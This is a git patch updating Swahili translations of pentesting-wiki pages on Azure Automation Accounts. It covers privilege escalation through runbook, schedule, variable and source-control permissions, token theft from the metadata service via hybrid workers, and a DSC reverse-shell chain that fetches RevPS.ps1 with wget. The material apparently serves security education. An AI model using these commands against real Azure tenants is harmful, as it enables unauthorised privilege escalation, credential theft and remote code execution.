From f978a0a62505902015878c4f09f0e68eb942deb1 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 10 Jan 2025 13:19:17 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- .../az-automation-accounts-privesc.md | 68 +++++++++++++------ .../az-services/az-automation-accounts.md | 44 ++++++++---- 2 files changed, 79 insertions(+), 33 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index ee6012421..b6ee125a2 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -10,11 +10,20 @@ Kwa maelezo zaidi angalia: ../az-services/az-automation-accounts.md {{#endref}} +### Hybrid Workers + +Kumbuka kwamba ikiwa kwa namna fulani mshambuliaji anaweza kutekeleza runbook isiyo na mipaka (code isiyo na mipaka) katika mfanyakazi wa hybrid, atakuwa **na uwezo wa kuhamia eneo la VM**. Hii inaweza kuwa mashine ya ndani, VPC ya wingu tofauti au hata VM ya Azure. + +Zaidi ya hayo, ikiwa mfanyakazi wa hybrid anafanya kazi katika Azure na Identiti Zenye Usimamizi nyingine zimeunganishwa, runbook itakuwa na uwezo wa kufikia **identiti yenye usimamizi wa runbook na identiti zote zenye usimamizi za VM kutoka kwa huduma ya metadata**. + +> [!TIP] +> Kumbuka kwamba **huduma ya metadata** ina URL tofauti (**`http://169.254.169.254`**) kuliko huduma ambayo inapata token za identiti zenye usimamizi za akaunti ya automation (**`IDENTITY_ENDPOINT`**). + ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -Kwa muhtasari ruhusa hizi zinaruhusu **kuunda, kubadilisha na kuendesha Runbooks** katika Akaunti ya Automation ambayo unaweza kutumia **kutekeleza msimbo** katika muktadha wa Akaunti ya Automation na kupandisha hadhi kwa **Identities Zilizoratibiwa** na kuvuja **akili** na **mabadiliko ya siri** yaliyohifadhiwa katika Akaunti ya Automation. +Kwa muhtasari ruhusa hizi zinaruhusu **kuunda, kubadilisha na kuendesha Runbooks** katika Akaunti ya Automation ambayo unaweza kutumia **kutekeleza code** katika muktadha wa Akaunti ya Automation na kupandisha haki kwa **Identiti Zenye Usimamizi** zilizotolewa na kuvuja **akili** na **mabadiliko ya siri** yaliyohifadhiwa katika Akaunti ya Automation. -Ruhusa **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** inaruhusu kubadilisha msimbo wa Runbook katika Akaunti ya Automation kwa kutumia: +Ruhusa **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** inaruhusu kubadilisha code ya Runbook katika Akaunti ya Automation kwa kutumia: ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -38,14 +47,18 @@ az automation runbook publish \ ``` Ruhusa **`Microsoft.Automation/automationAccounts/jobs/write`** inaruhusu mtumiaji kuendesha Runbook katika Akaunti ya Automation kwa kutumia: ```bash -az automation runbook start --automation-account-name --resource-group --name +az automation runbook start \ +--automation-account-name \ +--resource-group \ +--name \ +[--run-on ] ``` Ruhusa **`Microsoft.Automation/automationAccounts/jobs/output/read`** inaruhusu mtumiaji kusoma matokeo ya kazi katika Akaunti ya Automation kwa kutumia: ```bash az rest --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" ``` -Ikiwa hakuna Runbooks zilizoundwa, au unataka kuunda mpya, utahitaji **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` na `Microsoft.Automation/automationAccounts/runbooks/write`** kufanya hivyo kwa kutumia: +Ikiwa hakuna Runbooks zilizoundwa, au unataka kuunda mpya, utahitaji **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` na `Microsoft.Automation/automationAccounts/runbooks/write`** ili kufanya hivyo kwa kutumia: ```bash az automation runbook create --automation-account-name --resource-group --name --type PowerShell ``` @@ -67,7 +80,7 @@ az rest --method PATCH \ ``` ### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` -Kwa ruhusa **`Microsoft.Automation/automationAccounts/schedules/write`** inawezekana kuunda Ratiba mpya katika Akaunti ya Automation inayotekelezwa kila dakika 15 (siyo ya siri sana) kwa kutumia amri ifuatayo. +Kwa ruhusa **`Microsoft.Automation/automationAccounts/schedules/write`** inawezekana kuunda Ratiba mpya katika Akaunti ya Automation inayotekelezwa kila dakika 15 (sio ya siri sana) kwa kutumia amri ifuatayo. Kumbuka kwamba **kipindi cha chini kwa ratiba ni dakika 15**, na **wakati wa kuanza wa chini ni dakika 5** katika siku zijazo. ```bash @@ -140,7 +153,7 @@ curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-aut ``` ### `Microsoft.Automation/automationAccounts/runbooks/draft/write` -Kwa ruhusa tu `Microsoft.Automation/automationAccounts/runbooks/draft/write` inawezekana **kusaidia kuboresha msimbo wa Runbook** bila kuuchapisha na kuufanya ukimbie kwa kutumia amri zifuatazo. +Kwa ruhusa tu `Microsoft.Automation/automationAccounts/runbooks/draft/write` inawezekana **kusaidia kuboresha msimbo wa Runbook** bila kuuchapisha na kuufanya kazi kwa kutumia amri zifuatazo. ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -150,6 +163,7 @@ az automation runbook replace-content --no-wait \ --content 'echo "Hello World"' # Run the unpublished code +## Indicate the name of the hybrid worker group in runOn to execute the runbook there az rest \ --method PUT \ --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \ @@ -180,32 +194,48 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -Hii itafanya kuagiza kiotomatiki runbooks kutoka kwa hazina ya Github kwenye Akaunti ya Automation na kwa ruhusa nyingine za kuanza kuzitekeleza itakuwa **inawezekana kupandisha mamlaka**. +Hii itafanya kuagiza kiotomatiki runbooks kutoka kwenye hazina ya Github hadi Akaunti ya Automation na kwa ruhusa nyingine za kuanza kuzitekeleza itakuwa **nawezekana kupandisha mamlaka**. -Zaidi ya hayo, kumbuka kwamba ili kudhibiti chanzo kufanya kazi katika Akaunti za Automation lazima iwe na utambulisho ulio na usimamizi wenye jukumu la **`Contributor`** na ikiwa ni utambulisho wa mtumiaji ulio na usimamizi hii inaweza pia kuwekwa kwa kuweka katika variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** **client id** ya utambulisho wa mtumiaji wa kusimamia kutumia. +Zaidi ya hayo, kumbuka kwamba ili udhibiti wa chanzo ufanye kazi katika Akaunti za Automation lazima iwe na utambulisho ulio na usimamizi wenye jukumu la **`Contributor`** na ikiwa ni utambulisho ulio na usimamizi wa mtumiaji, kitambulisho cha mteja wa MI lazima kielezwe katika variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. > [!TIP] -> Kumbuka kwamba siwezi kubadilisha URL ya repo ya chanzo cha udhibiti mara tu inapoanzishwa. +> Kumbuka kwamba siwezi kubadilisha URL ya repo ya udhibiti wa chanzo mara tu inapoanzishwa. -### Mazingira ya Uendeshaji ya Kijadi +### `Microsoft.Automation/automationAccounts/variables/write` -Ikiwa akaunti ya automation inatumia mazingira ya uendeshaji ya kijadi, inaweza kuwa inawezekana kubadilisha kifurushi cha kijadi cha uendeshaji na baadhi ya msimbo mbaya (kama **backdoor**). Kwa njia hii, kila wakati runbook inayotumia mazingira hayo ya kijadi inatekelezwa na kupakia kifurushi hicho cha kijadi, msimbo mbaya utaanzishwa. +Kwa ruhusa **`Microsoft.Automation/automationAccounts/variables/write`** inawezekana kuandika variables katika Akaunti ya Automation kwa kutumia amri ifuatayo. +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2019-06-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"name": "", +"properties": { +"description": "", +"value": "\"\"", +"isEncrypted": false +} +}' +``` +### Custom Runtime Environments -### Kuathiri Usanidi wa Jimbo +Ikiwa akaunti ya automatisering inatumia mazingira ya runtime ya kawaida, inaweza kuwa inawezekana kubadilisha kifurushi cha kawaida cha runtime na msimbo mbaya (kama **backdoor**). Kwa njia hii, kila wakati runbook inayotumia hiyo runtime ya kawaida inatekelezwa na kupakia kifurushi cha kawaida, msimbo mbaya utaanzishwa. + +### Compromising State Configuration **Angalia chapisho kamili katika:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) -- Hatua ya 1 — Unda Faili +- Step 1 — Create Files **Faili Zinazohitajika:** Skripti mbili za PowerShell zinahitajika: -1. `reverse_shell_config.ps1`: Faili ya Usanidi wa Jimbo Linalotakiwa (DSC) inayopata na kutekeleza payload. Inapatikana kutoka [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). -2. `push_reverse_shell_config.ps1`: Skripti ya kuchapisha usanidi kwenye VM, inapatikana kwenye [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). +1. `reverse_shell_config.ps1`: Faili ya Desired State Configuration (DSC) inayopata na kutekeleza payload. Inapatikana kutoka [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). +2. `push_reverse_shell_config.ps1`: Skripti ya kuchapisha usanidi kwenye VM, inapatikana katika [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). -**Uboreshaji:** Variables na parameta katika faili hizi zinapaswa kuboreshwa kwa mazingira maalum ya mtumiaji, ikiwa ni pamoja na majina ya rasilimali, njia za faili, na vitambulisho vya seva/payload. +**Customization:** Vigezo na parameta katika faili hizi lazima zibadilishwe ili kufaa mazingira maalum ya mtumiaji, ikiwa ni pamoja na majina ya rasilimali, njia za faili, na vitambulisho vya seva/payload. -- Hatua ya 2 — Zip Faili la Usanidi +- Step 2 — Zip Configuration File -Faili `reverse_shell_config.ps1` inashirikiwa katika faili la `.zip`, ikifanya iwe tayari kwa uhamasishaji kwenye Akaunti ya Hifadhi ya Azure. +Faili `reverse_shell_config.ps1` inashirikiwa katika faili la `.zip`, ikifanya iwe tayari kwa uhamishaji kwenda kwenye Akaunti ya Hifadhi ya Azure. ```powershell Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` @@ -217,7 +247,7 @@ Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure- ``` - Step 4 — Prep Kali Box -Seva ya Kali inashusha mzigo wa RevPS.ps1 kutoka kwenye hifadhi ya GitHub. +Seva ya Kali inapakua mzigo wa RevPS.ps1 kutoka kwenye hifadhi ya GitHub. ```bash wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ``` diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md index f7b14ce26..31daaf14a 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md @@ -4,7 +4,7 @@ ## Basic Information -Azure Automation Accounts ni huduma za msingi za wingu katika Microsoft Azure ambazo husaidia **kujiendesha** kazi kama usimamizi wa rasilimali, usanidi, na masasisho katika Azure na mazingira ya ndani. Zinatoa **Runbooks** (script za kujiendesha ambazo zinafanywa), **ratiba**, na **vikundi vya wafanyakazi wa hybrid** ili kuendesha kazi za kujiendesha, kuwezesha miundombinu kama msimbo (IaC) na kujiendesha kwa mchakato kwa ufanisi na uthabiti katika usimamizi wa rasilimali za wingu. +Azure Automation Accounts ni huduma za msingi wa wingu katika Microsoft Azure ambazo husaidia **kujiendesha** kazi kama usimamizi wa rasilimali, usanidi, na masasisho katika Azure na mazingira ya ndani. Zinatoa **Runbooks** (script za kujiendesha ambazo zinafanywa), **ratiba**, na **vikundi vya wafanyakazi wa mseto** ili kuendesha kazi za kujiendesha, kuwezesha miundombinu kama msimbo (IaC) na kujiendesha kwa mchakato kwa ufanisi na uthabiti katika usimamizi wa rasilimali za wingu. ### Settings @@ -28,7 +28,7 @@ Nenda kwa `Automation Accounts` --> `